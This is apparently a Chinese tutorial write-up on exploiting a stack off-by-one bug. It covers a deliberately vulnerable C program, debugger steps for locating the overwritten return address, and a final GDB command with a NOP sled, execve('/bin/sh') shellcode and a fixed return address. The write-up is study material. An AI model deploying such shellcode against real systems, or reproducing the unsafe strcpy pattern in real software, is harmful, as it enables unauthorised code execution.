Off-By-One 漏洞(基于栈)
将源字符串复制到目标缓冲区可能会导致off-by-one
1.源字符串的长度等于缓冲区的长度。因为字符串的结尾会有一个\00。会溢出到目标缓冲区的上方。如果EBP恰好位于该缓冲区上方,则可导致任意代码执行。
漏洞源代码:
//vuln.c
#include <stdio.h>
#include <string.h>
void foo(char* arg);
void bar(char* arg);
void foo(char* arg) {
bar(arg); /* [1] */
}
void bar(char* arg) {
char buf[256];
strcpy(buf, arg); /* [2] */
}
int main(int argc, char *argv[]) {
if(strlen(argv[1])>256) { /* [3] */
printf("Attempted Buffer Overflow\n");
fflush(stdout);
return -1;
}
foo(argv[1]); /* [4] */
return 0;
}
上述漏洞的2处可能发生off-by-one。目标缓冲区的长度为256,因此长度为256字节的字符串可能导致任意代码执行。
通过观察堆栈布局
作者已经给出,这里的EBP末尾的一位58被淹没为00,从而导致EBP下降0x58位,即返回地址下降0x58位,导致了任意代码的执行。
进行测试:
首先输入256个"A"进行测试,可以看到返回地址为"AAAA",可以证实返回地址确实被修改了。
接下来寻找返回地址的具体位置。
在IDA里查看到执行完strcpy函数后的地址,为0x8048490。在该处下断点
可以看到EBP原本为0xffffce24,执行完后变为0xfffce00
执行前
执行后
所以下降了0x24位。
这里做一些补充的说明
leave 指令 mov esp,ebp pop ebp
ret 指令 pop eip
所以在bar函数中并没有影响到什么,只是将foo函数的ebp值减少了0x24。在foo函数的ret处下断点便于观察。
使用了一个比较笨的方法,每次调整A与C的数量,然后在此处观察堆栈,直至BBBB在栈顶。最终找到 "A"*204+"B"*4+"C"*48。"BBBB"即为返回地址,此时便可以利用漏洞执行任意代码。
(为了确保最后的EXP正确,我将环境换成了i386的ubuntu。不然真的很麻烦)
注意:原文提供的shellcode在我的环境下运行会出现问题,我选择使用新的shellcode。直接附加运行代码在GDB的试试即可
尤其注意 shellcode不要放在离esp很近的地方,避免出现问题!! 调整
r `python -c 'print "\x90"*106+"\x6a\x0b\x58\x31\xf6\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\xcd\x80\x90\x90\x90\x90"+"\x90"*70+"\xa0\xf0\xff\xbf"+"C"*48'
最终运行结果。欢迎交流!